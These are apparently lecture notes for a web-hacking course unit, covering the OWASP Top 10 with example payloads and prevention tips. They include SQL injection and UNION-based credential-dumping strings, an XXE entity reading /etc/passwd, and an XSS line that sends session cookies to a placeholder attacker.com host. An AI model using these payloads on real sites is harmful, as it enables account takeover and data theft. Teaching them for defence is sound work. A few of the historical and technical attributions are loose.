

UNIT-3:Web-Based Hacking: Servers and Applications

The Shawshank Redemption Analogy in Cybersecurity

Concept: Trust Exploitation

- In the movie *The Shawshank Redemption*, Andy Dufresne escapes prison using a **small rock hammer** that guards believed was harmless.
- Over many years, he secretly **chisels a tunnel behind a poster**, eventually escaping through a sewage pipe.
- The guards focused on **obvious security measures** like walls, guards, and locked doors.
- However, they ignored a **small tool that seemed harmless**, which ultimately allowed the escape.

Cybersecurity Parallel

- Many organizations protect obvious security points:
 - Passwords
 - Firewalls
 - Physical security
- But they often **overlook trusted systems or services**, which attackers exploit.

Example

- A trusted web application component may allow input without validation.

```
SELECT * FROM users WHERE username='admin' AND password='123'
```

Attacker input:

```
' OR '1'='1
```

Result: **Authentication bypass.**

Web Servers – The “Front Door” of Organizations

What is a Web Server?

- A **web server** is a system that hosts websites or web applications.
- It responds to requests from users over the internet.
- Examples:
 - Apache
 - Nginx
 - Microsoft IIS

Why Web Servers Are Attractive Targets

- Unlike internal servers, web servers are **publicly accessible**.
- Anyone on the internet can attempt to interact with them.
- Attackers constantly scan for vulnerabilities.

Real-World Example

A company may secure internal infrastructure but expose a vulnerable web server.

Example request to server:

```
GET /login HTTP/1.1
Host: example.com
```

If poorly secured, attackers may exploit:

- SQL injection
- Cross-site scripting
- Authentication flaws

Key Idea

Web servers act like **open doors to organizations**, making them prime attack targets.

Importance of Web Security Organizations

Why Web Standards Are Needed

The internet works because of **global technical standards**.

Several organizations define these standards.

IETF – Internet Engineering Task Force

- Responsible for **internet protocol standards**.
- Develops documents called **RFCs (Requests for Comments)**.
- Defines how technologies like:
 - TCP/IP
 - HTTP
 - DNS
work.

W3C and OWASP – Improving Web Security

W3C (World Wide Web Consortium)

- Develops standards for web technologies.
- Ensures consistency across browsers.

Examples of technologies standardized by W3C:

- HTML
- CSS
- XML

OWASP – Open Web Application Security Project

- Global nonprofit organization focused on **web security**.
- Provides tools, documentation, and training.

What is OWASP?

- **OWASP (Open Web Application Security Project)** is a global nonprofit organization
- Provides **security guidelines for web applications**
- OWASP Top 10 lists **most common vulnerabilities**
- Updated periodically based on **industry data**

OWASP Top 10

List of vulnerabilities:

1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging & Monitoring

A1 Injection Flaws

- Occurs when **untrusted input is executed as a command**
- Common types:
 - SQL Injection
 - OS Command Injection
 - LDAP Injection
- Allows attackers to **manipulate queries**

Example attack:

- Attacker input: ' OR '1'='1

Result → Login bypass.

Injection Real-World Example

Real case: **Sony Pictures Hack**

- Attackers exploited **SQL injection**
- Retrieved confidential company data

Example malicious input:

```
' UNION SELECT username,password FROM users--
```

Impact:

- Database theft
- Sensitive data exposure

Prevention:

- Prepared statements
- Input validation

A2 Broken Authentication

Occurs when authentication mechanisms are weak.

Common problems:

- Weak passwords
- Predictable session IDs
- No account lockout

Example session cookie:

- `sessionID=12345`

Attacker guesses next session:

`sessionID=12346`

Result → Session hijacking.

Authentication Attack Example

Real example: **Session hijacking**

Attackers steal cookies using XSS.

Example script:

- document.cookie

Stolen cookie:

```
sessionId=ABC123
```

Attacker impersonates the user.

Prevention:

- Secure cookies
- Multi-factor authentication
- HTTPS

A3 Sensitive Data Exposure

Occurs when applications fail to protect sensitive data.

Examples:

- Credit card numbers
- Passwords
- Personal information

Example insecure storage:

```
password = 123456
```

Instead of hashed value.

Prevention:

- Encryption
- HTTPS
- Secure key management

A4 XML External Entities (XXE)

Occurs when XML parsers allow **external entity processing**.

Attackers manipulate XML input to read server files.

Example malicious XML:

```
<!DOCTYPE data [  
  <!ENTITY file SYSTEM "file:///etc/passwd">  
]>  
<data>&file;</data>
```

Result:

Server exposes system file.

XXE Attack Impact

Attackers can:

- Access internal files
- Scan internal networks
- Perform denial-of-service

Prevention:

- Disable external entities
- Secure XML parser configuration

A5 Broken Access Control

Occurs when applications fail to restrict user permissions.

Example:

Normal user:

`example.com/user/profile`

Attacker modifies URL:

`example.com/admin/dashboard`

If access control fails → attacker gets admin access.

Broken Access Control Example

Real example: **API data exposure**

Attackers change ID parameter:

`example.com/api/user?id=101`

Change to:

`example.com/api/user?id=102`

Access another user's data.

Prevention:

- Role-based access control
- Server-side permission checks

A6 Security Misconfiguration

Occurs due to incorrect system configuration.

Examples:

- Default passwords
- Directory listing enabled
- Open port

Example exposed server:

`http://example.com/config/`

Directory listing enabled.

Attackers download configuration files.

Prevention:

- Remove default credentials
- Disable unnecessary services
- Apply patches

A7 Cross-Site Scripting (XSS)

Occurs when untrusted input executes scripts in a browser.

Example attack:

```
<script>alert('Hacked')</script>
```

Browser executes malicious code.

Stealing cookies:

```
document.location='http://attacker.com?cookie='+document.cookie
```

Impact:

- Session hijacking
- Website defacement
- Phishing

Prevention:

- Input validation
- Output encoding

A8 Insecure Deserialization

Occurs when attackers manipulate serialized objects.

Example serialized object:

```
user=Arvind; role=user
```

Attacker modifies:

```
user=Arvind; role=admin
```

Result:

Privilege escalation.

A9 Vulnerable Components

Using outdated libraries with known vulnerabilities.

Example:

Apache Struts 2.3

Attackers exploit known flaws.

Real incident:

Equifax breach due to Apache Struts vulnerability.

Prevention:

- Regular updates
- Vulnerability scanning

A10 Insufficient Logging & Monitoring

Occurs when security events are not logged or monitored.

Example attack:

Multiple login attempts

System does not detect them.

Impact:

- Attacks go unnoticed
- Data breaches remain undetected

Prevention:

- Enable logging
- Use SIEM tools
- Monitor security alerts